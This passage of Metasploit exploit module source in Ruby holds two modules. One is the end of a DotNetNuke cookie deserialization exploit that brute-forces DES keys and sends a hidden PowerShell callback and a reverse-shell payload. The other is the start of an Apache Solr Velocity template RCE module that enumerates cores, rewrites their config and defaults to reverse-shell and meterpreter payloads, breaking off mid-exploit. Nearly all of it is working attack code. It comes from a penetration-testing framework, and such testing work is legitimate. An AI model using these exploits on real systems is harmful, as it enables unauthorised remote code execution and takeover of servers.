      10, 1, 10, 0, 0, 0, 9, 0, 0, 0, 6, 22, 0, 0, 0, 7, 67, 111, 109, 112, 97,
      114, 101, 9, 12, 0, 0, 0, 6, 24, 0, 0, 0, 13, 83, 121, 115, 116, 101, 109,
      46, 83, 116, 114, 105, 110, 103, 6, 25, 0, 0, 0, 43, 73, 110, 116, 51, 50,
      32, 67, 111, 109, 112, 97, 114, 101, 40, 83, 121, 115, 116, 101, 109, 46,
      83, 116, 114, 105, 110, 103, 44, 32, 83, 121, 115, 116, 101, 109, 46, 83,
      116, 114, 105, 110, 103, 41, 6, 26, 0, 0, 0, 50, 83, 121, 115, 116, 101,
      109, 46, 73, 110, 116, 51, 50, 32, 67, 111, 109, 112, 97, 114, 101, 40, 83,
      121, 115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 41, 8, 0, 0, 0, 10, 1,
      16, 0, 0, 0, 8, 0, 0, 0, 6, 27, 0, 0, 0, 113, 83, 121, 115, 116, 101, 109,
      46, 67, 111, 109, 112, 97, 114, 105, 115, 111, 110, 96, 49, 91, 91, 83, 121,
      115, 116, 101, 109, 46, 83, 116, 114, 105, 110, 103, 44, 32, 109, 115, 99,
      111, 114, 108, 105, 98, 44, 32, 86, 101, 114, 115, 105, 111, 110, 61, 52,
      46, 48, 46, 48, 46, 48, 44, 32, 67, 117, 108, 116, 117, 114, 101, 61, 110,
      101, 117, 116, 114, 97, 108, 44, 32, 80, 117, 98, 108, 105, 99, 75, 101,
      121, 84, 111, 107, 101, 110, 61, 98, 55, 55, 97, 53, 99, 53, 54, 49, 57, 51,
      52, 101, 48, 56, 57, 93, 93, 9, 12, 0, 0, 0, 10, 9, 12, 0, 0, 0, 9, 24, 0,
      0, 0, 9, 22, 0, 0, 0, 10, 11
    ]

    @cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/

    # ==================
    # v9.1.1+ VARIABLES
    # ==================


    @key_charset = "02468ABDF"
    @verification_codes = []

    @iv_regex = /[0-9A-F]{8}/

    # Known plaintext
    @kpt = ""

    # Encryption objects
    @decryptor = OpenSSL::Cipher.new('des')
    @decryptor.decrypt

    @encryptor = OpenSSL::Cipher.new('des')
    @encryptor.encrypt

    # final passphrase (key +iv) to use for payload (v9.1.1+)
    @passphrase = ""

    # ==================
    # v9.2.0+ VARIABLES
    # ==================

    # Session token needed for exploitation (v9.2.0+)
    @session_token = ""

    # ==================
    # v9.2.2+ VARIABLES
    # ==================

    # User ID format (v9.2.2+)
    # Number of characters of user ID available in plaintext
    # is equal to the length of a GUID (no spaces or dashes)
    # minus (blocksize - known plaintext length).
    @user_id_pt_length = 32 - (8 - @kpt.length)
    @user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/

    # Plaintext found from decryption (v9.2.2+)
    @found_pt = ""

    @iv_charset = "0123456789abcdef"

    # Possible IVs used to encrypt verification codes (v9.2.2+)
    @possible_ivs = Set.new([])

    # Possible keys used to encrypt verification codes (v9.2.2+)
    @possible_keys = Set.new([])

    # passphrases (key + iv) values to use for payload encryption (v9.2.2+)
    @passphrases = []

    # char sets to use when generating possible base keys
    @unchanged = Set.new([65,70])
  end

  def decode_verification(code)
    # Decode verification code base don DNN format
    return String.new(
      Rex::Text.decode_base64(
        code.chomp.gsub(".", "+").gsub("-", "/").gsub("_", "=")
      )
    )
  end

  # ==============
  # Main function
  # ==============
  def exploit

    return unless check == Exploit::CheckCode::Appears

    @encrypted = datastore['ENCRYPTED']
    verification_code = datastore['VERIFICATION_CODE']
    if File.file?(verification_code)
      File.readlines(verification_code).each do |code|
        @verification_codes.push(decode_verification(code))
      end
    else
      @verification_codes.push(decode_verification(verification_code))
    end

    @kpt = datastore['VERIFICATION_PLAIN']

    @session_token = datastore['SESSION_TOKEN']
    @dry_run = datastore['DryRun']
    key = datastore['KEY']
    iv = datastore['IV']

    if target['ReqEncrypt'] && @encrypted == false
      print_warning("Target requires encrypted payload. Exploit may not succeed.")
    end

    if @encrypted
      # Requires either supplied key and IV, or verification code and plaintext
      if (!key.blank? && !iv.blank?)
        @passphrase = key + iv
        # Key and IV were supplied, don't try and decrypt.
        @try_decrypt = false
      elsif (!@verification_codes.empty? && !@kpt.blank?)
        @try_decrypt = true
      else
        fail_with(Failure::BadConfig, "You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).")
      end
    end

    if target['ReqSession']
      if @session_token.blank?
        fail_with(Failure::BadConfig, "Target requires a valid SESSION_TOKEN for exploitation.")
      end
    end

    if @encrypted && @try_decrypt
      # Set IV for decryption as the known plaintext, manually
      # apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
      # For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
      # For v9.2.2+ it will find an initial base key faster than if padding were enabled.
      f8_plain = @kpt[0, 8]
      c_iv = f8_plain.unpack("C*") + [8 - f8_plain.length] * (8 - f8_plain.length)
      @decryptor.iv = String.new(c_iv.pack("C*"))
      @decryptor.padding = 0

      key = find_key(@verification_codes[0])
      if key.blank?
        return
      end

      if @target_idx == 4
        # target is v9.2.2+, requires base64 generated key and IV values.
        generate_base_keys(0, key.each_byte.to_a, "")
        vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")

        # re-enable padding here as it doesn't have the
        # same performance impact when trying to find possible IV values.
        @decryptor.padding = 1

        print_warning("Finding possible base IVs. This may take a few minutes...")
        start = Time.now
        find_ivs(@verification_codes, key)
        elapsed = Time.now - start
        vprint_status(
          format(
            "Found %<n_ivs>d potential Base IV values using %<n_codes>d "\
            "verification codes in %<e_time>.2f seconds.",
            n_ivs: @possible_ivs.size,
            n_codes: @verification_codes.size,
            e_time: elapsed.to_s
          )
        )

        generate_payload_passphrases
        vprint_status(format("Generated %<n_phrases>d possible base64 KEY and IV combinations.", n_phrases: @passphrases.size))
      end

      if @passphrase.blank?
        # test all generated passphrases by
        # sending an exploit payload to the target
        # that will callback to an HTTP listener
        # with the index of the passphrase that worked.

        # set SRVHOST as LHOST value for HTTPServer mixin
        datastore['SRVHOST'] = datastore['LHOST']
        print_warning("Trying all possible KEY and IV combinations...")
        print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
        start_service
        vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")

        test_passphrases

        # If no working passphrase has been found,
        # wait to allow the the chance for the last one to callback.
        if @passphrase.empty? && !@dry_run
          sleep(wfs_delay)
        end
        if service
          stop_service
        end
        print "\r\n"
        if !@passphrase.empty?
          print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..-1]} found")
        end
      end
    end
    send_exploit_payload
  end

  # =====================
  # For the check command
  # =====================
  def check
    if target.name == 'Automatic'
      select_target
    end

    @target_idx = Integer(datastore['TARGET'])

    if @target_idx == 0
      fail_with(Failure::NoTarget, 'No valid target found or specified.')
    end

    # Check if 404 page is custom or not.
    # Vulnerability requires custom 404 handling (enabled by default).
    uri = normalize_uri(target_uri.path)
    print_status("Checking for custom error page at: #{uri} ...")
    res = send_request_cgi(
      'uri' => uri
    )

    if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
      print_good("Custom error page detected.")
    else
      print_error("IIS Error Page detected.")
      return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Appears
  end

  # ===========================
  # Auto-select target version
  # ===========================
  def select_target
    print_status("Trying to determine DNN Version...")
    # Check for copyright version in /Documentation/license.txt
    uri = %r{^(.*[\\\/])}.match(target_uri.path)[0]
    vprint_status("Checking version at #{normalize_uri(uri + 'Documentation', 'License.txt')} ...")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(uri + 'Documentation', 'License.txt')
    )
    year = -1
    if res && res.code == 200
      # License page found, get latest copyright year.
      matches = @cr_regex.match(res.body)
      if matches
        year = matches[0].to_i
      end
    else
      vprint_status("Checking version at #{uri} ...")
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(uri)
      )
      if res && res.code == 200
        # Check if copyright info is in page HTML.
        matches = @cr_regex.match(res.body)
        if matches
          year = matches[0].to_i
        end
      end
    end

    if year >= 2018
      print_warning(
        %q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.")
      )
      datastore['TARGET'] = 3
    elsif year == 2017
      print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
      datastore['TARGET'] = 2
    elsif year < 2017 && year > 2008
      print_good("DNN Version Found: v5.1.0 - v9.0.1")
      datastore['TARGET'] = 1
    elsif year == 2008
      print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).")
      datastore['TARGET'] = 1
    else
      print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value")
    end
  end

  # ==============================
  # Known plaintext attack to
  # brute-force the encryption key
  # ==============================
  def find_key(cipher_text)
    print_status("Finding Key...")

    # Counter
    total_keys = @key_charset.length**8
    i = 1

    # Set start time
    start = Time.now

    # First char
    @key_charset.each_byte do |a|
      key = a.chr
      # 2
      @key_charset.each_byte do |b|
        key[1] = b.chr
        # 3
        @key_charset.each_byte do |c|
          key[2] = c.chr
          # 4
          @key_charset.each_byte do |d|
            key[3] = d.chr
            # 5
            @key_charset.each_byte do |e|
              key[4] = e.chr
              # 6
              @key_charset.each_byte do |f|
                key[5] = f.chr
                # 7
                @key_charset.each_byte do |g|
                  key[6] = g.chr
                  # 8
                  @key_charset.each_byte do |h|
                    key[7] = h.chr
                    if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
                      elapsed = Time.now - start
                      print_search_status(i, elapsed, total_keys)
                      print_line
                      if @target_idx == 4
                        print_good("Possible Base Key Value Found: " + key)
                      else
                        print_good("KEY Found: " + key)
                        print_good("IV Found: " + @passphrase[8..-1])
                      end
                      vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
                      vprint_status(format("Time to crack: %<c_time>.3f seconds", c_time: elapsed.to_s))
                      return String.new(key)
                    end
                    # Print timing info every 5 million attempts
                    if i % 5000000 == 0
                      print_search_status(i, Time.now - start, total_keys)
                    end
                    i += 1
                  end
                end
              end
            end
          end
        end
      end
    end
    elapsed = Time.now - start
    print_search_status(i, elapsed, total_keys)
    print_line
    print_error("Key not found")
    vprint_status(format("Total number of Keys tried: %<n_tried>d", n_tried: i))
    vprint_status(format("Time run: %<r_time>.3f seconds", r_time: elapsed.to_s))
    return nil
  end

  # ==================================
  # Attempt to decrypt a ciphertext
  # and obtain the IV at the same time
  # ==================================
  def decrypt_data_and_iv(cipher, cipher_text, key)
    cipher.key = key
    begin
      plaintext = cipher.update(cipher_text) + cipher.final
      if @target_idx == 4
        # Target is v9.2.2+
        user_id = plaintext[8, @user_id_pt_length]
        if @user_id_regex.match(user_id)
          return true
        end

        return false
      end

      # This should only execute if the version is 9.1.1 - 9.2.1
      iv = plaintext[0, 8]
      if !@iv_regex.match(iv)
        return false
      end

      # Build encryption passphrase as DNN does.
      @passphrase = key + iv

      # Encrypt the plaintext value using the discovered key and IV
      # and compare with the initial ciphertext
      if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
        @passphrases.push(String.new(key + iv))
        return true
      end
    rescue StandardError
      # Ignore decryption errors to allow execution to continue
      return false
    end
    return false
  end

  def print_search_status(num_tries, elapsed, max_tries)
    msg = format("Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.", s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
    print("\r%bld%blu[*]%clr #{msg}")
  end

  # ===========================
  # Encrypt data using the same
  # pattern that DNN uses.
  # ===========================
  def encrypt_data(cipher, message, passphrase)
    cipher.key = passphrase[0, 8]
    cipher.iv = passphrase[8, 8]
    return cipher.update(message) + cipher.final
  end

  # ===============================================
  # Generate all possible base key values
  # used to create the final passphrase in v9.2.2+.
  # DES weakness allows multiple bytes to be
  # interpreted as the same value.
  # ===============================================
  def generate_base_keys(pos, from_key, new_key)
    if !@unchanged.include? from_key[pos]
      if from_key[pos] % 2 == 0
        new_key[pos] = (from_key[pos] + 1).chr
      else
        new_key[pos] = (from_key[pos] - 1).chr
      end

      if new_key.length == 8
        @possible_keys.add(String.new(new_key))

        # also add key with original value
        new_key[pos] = (from_key[pos]).chr
        @possible_keys.add(String.new(new_key))
      else
        generate_base_keys(pos + 1, from_key, String.new(new_key))

        # also generate keys with original value
        new_key[pos] = (from_key[pos]).chr
        generate_base_keys(pos + 1, from_key, String.new(new_key))
      end
    else
      new_key[pos] = (from_key[pos]).chr
      if new_key.length == 8
        @possible_keys.add(String.new(new_key))
      else
        generate_base_keys(pos + 1, from_key, String.new(new_key))
      end
    end
  end

  # ==============================================
  # Find all possible base IV values
  # used to create the final Encryption passphrase
  # ==============================================
  def find_ivs(cipher_texts, key)
    num_chars = 8 - @kpt.length
    f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/

    @decryptor.key = key
    found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
    # Find all possible IVs for the first ciphertext
    brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..-1])

    # Reduce IV set by testing against other ciphertexts
    cipher_texts.drop(1).each do |cipher_text|
      @possible_ivs.each do |iv|
        @decryptor.iv = iv
        pt = @decryptor.update(cipher_text) + @decryptor.final
        if !f8regex.match(pt[0, 8])
          @possible_ivs.delete(iv)
        end
      end
    end
  end

  # ==========================================
  # A recursive function to find all
  # possible valid IV values using brute-force
  # ==========================================
  def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
    charset = "0123456789abcdef"
    if num_chars_needed == 0
      @decryptor.key = key
      @decryptor.iv = pt_prefix
      pt = @decryptor.update(cipher_text) + @decryptor.final
      iv = pt[0, 8]
      if @iv_regex.match(iv)
        pt = pt_prefix + found_pt
        if encrypt_data(@encryptor, pt, key + iv) == cipher_text
          @possible_ivs.add(String.new(iv))
        end
      end
      return
    end
    charset.length.times do |i|
      brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
    end
  end

  # ========================================
  # Generate all possible payload encryption
  # passphrases for a v9.2.2+ target
  # ========================================
  def generate_payload_passphrases
    phrases = Set.new(@passphrases)
    @possible_keys.each do |key|
      @possible_ivs.each do |iv|
        phrase = Rex::Text.encode_base64(
          encrypt_data(@encryptor, key + iv, key + iv)
        )
        phrases.add(String.new(phrase[0, 16]))
      end
    end
    @passphrases = phrases.to_a
  end

  # ===========================================
  # Test all generated passphrases by initializing
  # an HTTP server to listen for a callback that
  # contains the index of the successful passphrase.
  # ===========================================
  def test_passphrases
    for i in 0..@passphrases.size - 1
      # Stop sending if we've found the passphrase
      if !@passphrase.empty?
        break
      end

      msg = format("Trying KEY and IV combination %<current>d of %<total>d...", current: i + 1, total: @passphrases.size)
      print("\r%bld%blu[*]%clr #{msg}")

      url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
      payload = create_request_payload(url)
      cookie = create_cookie(payload)

      # Encrypt cookie value
      enc_cookie = Rex::Text.encode_base64(
        encrypt_data(@encryptor, cookie, @passphrases[i])
      )
      if @dry_run
        print_line
        print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
        print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
        print_line(enc_cookie)
        break
      end
      execute_command(enc_cookie, host: datastore['RHOST'])
    end
  end

  # ===============================
  # Request handler for HTTP server.
  # ==============================
  def on_request_uri(cli, request)
    # Send 404 to prevent scanner detection
    send_not_found(cli)

    # Get found index - should be the only query string parameter
    if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
      index = request.qstring[get_resource.delete('/').to_s].to_i
      @passphrase = String.new(@passphrases[index])
    end
  end

  # ==============================================
  # Create payload to callback to the HTTP server.
  # Note: This technically exploits the
  # vulnerability, but provides a way to determine
  # the valid passphrase needed to exploit again.
  # ==============================================
  def create_request_payload(url)
    psh_cmd = "/b /c start /b /min powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\""
    psh_cmd_bytes = psh_cmd.bytes.to_a

    cmd_size_bytes = write_encoded_int(psh_cmd.length)

    # Package payload into serialized object
    payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end

    object_size = write_encoded_int(payload_object.length)

    # Create the final seralized ObjectStateFormatter payload
    final_payload = @osf_header + object_size + payload_object

    b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))
    return b64_payload
  end

  # =============================================
  # Reproduce the WriteEncoded method in
  # the native .NET ObjectStateFormatter.cs file.
  # =============================================
  def write_encoded_int(value)
    enc = []
    while (value >= 0x80)
      v = value | 0x80
      enc.push([v].pack("V")[0].unpack1("C*"))
      value >>= 7
    end
    enc.push([value].pack("V")[0].unpack1("C*"))
    return enc
  end

  # =================================
  # Creates the payload cookie
  # using the specified payload
  # =================================
  def create_cookie(payload)
    cookie = "<profile>"\
             "<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, "\
             "System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],"\
             "[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, "\
             "Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, "\
             "Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">"\
             "<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
             "<ProjectedProperty0>"\
             "<MethodName>Deserialize</MethodName>"\
             "<MethodParameters>"\
             "<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
             "xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" "\
             ">#{payload}</anyType>"\
             "</MethodParameters>"\
             "<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" "\
             "i:type=\"ObjectStateFormatter\" />"\
             "</ProjectedProperty0>"\
             "</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>"\
             "</item>"\
             "</profile>"
    return cookie
  end

  # =========================================
  # Send the payload to the target server.
  # =========================================
  def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
    uri = normalize_uri(target_uri.path)

    res = send_request_cgi(
      'uri' => uri,
      'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
    )
    if !res
      fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
    elsif res.code == 404
      return true
    elsif res.code == 400
      fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
    else
      fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
    end
  end

  # ======================================
  # Create and send final exploit payload
  # to obtain a reverse shell.
  # ======================================
  def send_exploit_payload
    cmd_payload = create_payload
    cookie_payload = create_cookie(cmd_payload)
    if @encrypted
      if @passphrase.blank?
        print_error("Target requires encrypted payload, but a passphrase was not found or specified.")
        return
      end
      cookie_payload = Rex::Text.encode_base64(
        encrypt_data(@encryptor, cookie_payload, @passphrase)
      )
    end
    if @dry_run
      print_warning("DryRun enabled. No exploit payloads have been sent to the target.")
      print_warning("Printing exploit cookie payload...")
      print_line(cookie_payload)
      return
    end

    # Set up the payload handlers
    payload_instance.setup_handler

    # Start the payload handler
    payload_instance.start_handler

    print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
    execute_command(cookie_payload, host: datastore['RHOST'])
  end

  # ===================================
  # Create final exploit paylod based on
  # supplied payload options.
  # ===================================
  def create_payload
    # Create payload
    psh_cmd = "/b /c start /b /min " + cmd_psh_payload(
      payload.encoded,
      payload_instance.arch.first,
      remove_comspec: true, encode_final_payload: false
    )

    psh_cmd_bytes = psh_cmd.bytes.to_a
    cmd_size_bytes = write_encoded_int(psh_cmd.length)

    # Package payload into serialized object
    payload_object = @osf_wrapper_start + cmd_size_bytes + psh_cmd_bytes + @osf_wrapper_end
    object_size = write_encoded_int(payload_object.length)

    # Create the final seralized ObjectStateFormatter payload
    final_payload = @osf_header + object_size + payload_object
    b64_payload = Rex::Text.encode_base64(final_payload.pack("C*"))

    vprint_status("Payload Object Created.")

    return b64_payload
  end
end
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Apache Solr Remote Code Execution via Velocity Template',
        'Description'    => %q(
          This module exploits a vulnerability in Apache Solr <= 8.3.0 which allows remote code execution via a custom
          Velocity template. Currently, this module only supports Solr basic authentication.

          From the Tenable advisory:
          An attacker could target a vulnerable Apache Solr instance by first identifying a list
          of Solr core names. Once the core names have been identified, an attacker can send a specially crafted
          HTTP POST request to the Config API to toggle the params resource loader value for the Velocity Response
          Writer in the solrconfig.xml file to true. Enabling this parameter would allow an attacker to use the Velocity
          template parameter in a specially crafted Solr request, leading to RCE.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            's00py', # Discovery and PoC
            'jas502n', # exploit code on Github
            'AleWong', # ExploitDB contribution, and exploit code on Github
            'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
          ],
        'References'     =>
            [
              [ 'EDB', '47572' ],
              [ 'CVE', '2019-17558' ],
              [ 'URL', 'https://www.tenable.com/blog/apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability'],
              [ 'URL', 'https://www.huaweicloud.com/en-us/notice/2018/20191104170849387.html'],
              [ 'URL', 'https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133/'],
              [ 'URL', 'https://github.com/jas502n/solr_rce'],
              [ 'URL', 'https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template'],
            ],
        'Platform'       => ['linux', 'unix', 'win'],
        'Targets'        =>
            [
              [
                'Unix (in-memory)',
                {
                  'Platform'       => 'unix',
                  'Arch'           => ARCH_CMD,
                  'Type'           => :unix_memory,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              [
                'Linux (dropper)',
                {
                  'Platform'        => 'linux',
                  'Arch'            => [ARCH_X86, ARCH_X64],
                  'Type'            => :linux_dropper,
                  'DefaultOptions'  => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
                  'CmdStagerFlavor' => %w[curl wget]
                }
              ],
              [
                'x86/x64 Windows PowerShell',
                {
                  'Platform'        => 'win',
                  'Arch'            => [ARCH_X86, ARCH_X64],
                  'Type'            => :windows_psh,
                  'DefaultOptions'  => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
                }
              ],
              [
                'x86/x64 Windows CmdStager',
                {
                  'Platform'        => 'win',
                  'Arch'            => [ARCH_X86, ARCH_X64],
                  'Type'            => :windows_cmdstager,
                  'DefaultOptions'  => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' },
                  'CmdStagerFlavor' => %w[vbs certutil]
                }
              ],
              [
                'Windows Exec',
                {
                  'Platform'        => 'win',
                  'Arch'            => ARCH_CMD,
                  'Type'            => :windows_exec,
                  'DefaultOptions'  => { 'PAYLOAD' => 'cmd/windows/generic' }
                }
              ],
            ],
        'DisclosureDate' => "2019-10-29", # ISO-8601 formatted
        'DefaultTarget'  => 0,
        'Privileged'     => false
      )
    )

    register_options(
      [
        Opt::RPORT(8983),
        OptString.new('USERNAME', [false, 'Solr username', 'solr']),
        OptString.new('PASSWORD', [false, 'Solr password', 'SolrRocks']),
        OptString.new('TARGETURI', [false, 'Path to Solr', '/solr/'])
      ]
    )
  end

  # if we are going to exploit, we only need one core to be exploitable
  @vuln_core = ""
  # OS specific stuff
  @target_platform = ""
  # if authentication is used
  @auth_string = ""

  def check_auth
    # see if authentication is required for the specified Solr instance
    auth_check = solr_get('uri' => normalize_uri(target_uri.path))

    # successfully connected?
    unless auth_check
      print_bad("Connection failed!")
      return nil
    end

    # if response code is not 200, then the Solr instance definitely requires authentication
    unless auth_check.code == 200
      # if authentication is required and creds are not provided, we cannot reliably check exploitability
      if datastore['USERNAME'] == "" && datastore['PASSWORD'] == ""
        print_bad("Credentials not provided, skipping credentialed check...")
        return nil
      end

      # otherwise, try the given creds
      auth_string = basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      attempt_auth = solr_get('uri' => normalize_uri(target_uri.path), 'auth' => auth_string)

      # successfully connected?
      unless attempt_auth
        print_bad("Connection failed!")
        return nil
      end
      # if the return code is not 200, then authentication definitely failed
      unless attempt_auth.code == 200
        print_bad("Invalid credentials!")
        return nil
      end

      store_valid_credential(
        user: datastore['USERNAME'],
        private: datastore['PASSWORD'],
        private_type: :password,
        proof: attempt_auth.to_s
      )

      @auth_string = auth_string
    end
    # a placeholder return value. Not requiring auth should throw no errors
    ""
  end

  # check for vulnerability existence
  def check
    auth_res = check_auth
    unless auth_res
      return CheckCode::Unknown("Authentication failed!")
    end

    # send a GET request to get Solr and system details
    ver = solr_get('uri' => normalize_uri(target_uri.path, '/admin/info/system'), 'auth' => @auth_string)

    # can't connect? that's an automatic failure
    unless ver
      return CheckCode::Unknown("Connection failed!")
    end

    # convert to JSON
    ver_json = ver.get_json_document
    # get Solr version
    solr_version = Gem::Version.new(ver_json['lucene']['solr-spec-version'])
    print_status("Found Apache Solr #{solr_version}")
    # get OS version details
    @target_platform = ver_json['system']['name']
    target_arch = ver_json['system']['arch']
    target_osver = ver_json['system']['version']
    print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")
    # uname doesn't show up for Windows, so run a check for that
    if ver_json['system']['uname']
      # print uname only when verbose
      vprint_status("Full uname is '#{ver_json['system']['uname'].strip}'")
    end

    # the vulnerability is only present in Solr versions <= 8.3.0
    unless solr_version <= Gem::Version.new('8.3.0')
      return CheckCode::Safe("Running version of Solr is not vulnerable!")
    end

    # enumerate cores
    cores = solr_get('uri' => normalize_uri(target_uri.path, '/admin/cores'), 'auth' => @auth_string)

    # can't connect? that's yet another automatic failure
    unless cores
      return CheckCode::Unknown("Could not enumerate cores!")
    end

    # convert to JSON yet again
    cores_json = cores.get_json_document
    # draw up an array of all the cores
    cores_list = Array.new
    # get the core names
    cores_json['status'].keys.each do |core_name|
      cores_list.push(core_name)
    end

    # no cores? that means nothing to exploit.
    if cores_list.empty?
      return CheckCode::Safe("No cores found, nothing to exploit!")
    end

    # got cores? tell the operator which cores were found
    print_status("Found core(s): #{cores_list.join(', ')}")
    possibly_vulnerable_cores = {}

    cores_list.each do |core|
      # for each core, attempt to get config
      core_config = solr_get('uri' => normalize_uri(target_uri.path, core.to_s, 'config'), 'auth' => @auth_string)

      # can't retrieve configuration for that core? go next
      unless core_config
        print_error("Could not retrieve configuration for core #{core}!")
        next
      end

      # convert to JSON
      core_config_json = core_config.get_json_document
      # if the core configuration does not include the Velocity Response Writer, it isn't vulnerable
      if core_config_json['config']['queryResponseWriter'].keys.include?("velocity")
        vprint_good("Found Velocity Response Writer in use by core #{core}")
        if core_config_json['config']['queryResponseWriter']['velocity']['params.resource.loader.enabled'] == "true"
          vprint_good("params.resource.loader.enabled for core '#{core}' is set to true.")
          possibly_vulnerable_cores.store(core, true)
        else
          # if params.resource.loader.enabled is false, we need to set it to true before exploitation
          print_warning("params.resource.loader.enabled for core #{core} is set to false.")
          possibly_vulnerable_cores.store(core, false)
        end
      else
        vprint_error("Velocity Response Writer not found in core #{core}")
        next
      end
    end

    # look at the array of possibly vulnerable cores
    if possibly_vulnerable_cores.empty?
      CheckCode::Safe("No cores are vulnerable!")
    else
      # if possible, pick a core that already has params.resource.loader.enabled set to true
      possibly_vulnerable_cores.each do |core|
        if core[1] == true
          @vuln_core = core
          break
        end
      end
      # otherwise, just pick the first one
      if @vuln_core.to_s == ""
        @vuln_core = possibly_vulnerable_cores.first
      end
      CheckCode::Vulnerable
    end
  end

  # the exploit method
  def exploit
    unless [CheckCode::Vulnerable].include? check
      fail_with Failure::NotVulnerable, "Target is most likely not vulnerable!"
    end

    print_status("Targeting core '#{@vuln_core[0]}'")

    # if params.resource.loader.enabled for that core is false
    if @vuln_core[1] != true
      # the new config in JSON format
      enable_params_resource_loader = {
        "update-queryresponsewriter": {
          "startup": "lazy",
          "name": "velocity",
          "class": "solr.VelocityResponseWriter",
          "template.base.dir": "",
          "solr.resource.loader.enabled": "true",
          "params.resource.loader.enabled": "true"
        }
      }.to_json

      opts_post = {
        'method'        => 'POST',
        'connection'    => 'Keep-Alive',
        'ctype'         => 'application/json;charset=utf-8',
        'encode_params' => false,
        'uri'           => normalize_uri(target_uri.path, @vuln_core[0].to_s, 'config'),
        'data'          => enable_params_resource_loader
      }

      unless @auth_string == ""
        opts_post.store('authorization', @auth_string)
      end

      print_status("params.resource.loader.enabled is false, setting it to true...")
      update_config = send_request_cgi(opts_post)

      unless update_config
        fail_with Failure::Unreachable, "Connection failed!"
      end

      # if we got anything other than a 200 back, the configuration update failed and the exploit won't work
      unless update_config.code == 200
        fail_with Failure::UnexpectedReply, "Unable to update config, exploit failed!"
      end

      print_good("params.resource.loader.enabled is now set to true!")
    end

    # windows...
    if @target_platform.include? "Windows"
      # if target is wrong, warn and exit before doing anything
      unless target.name.include? "Windows"
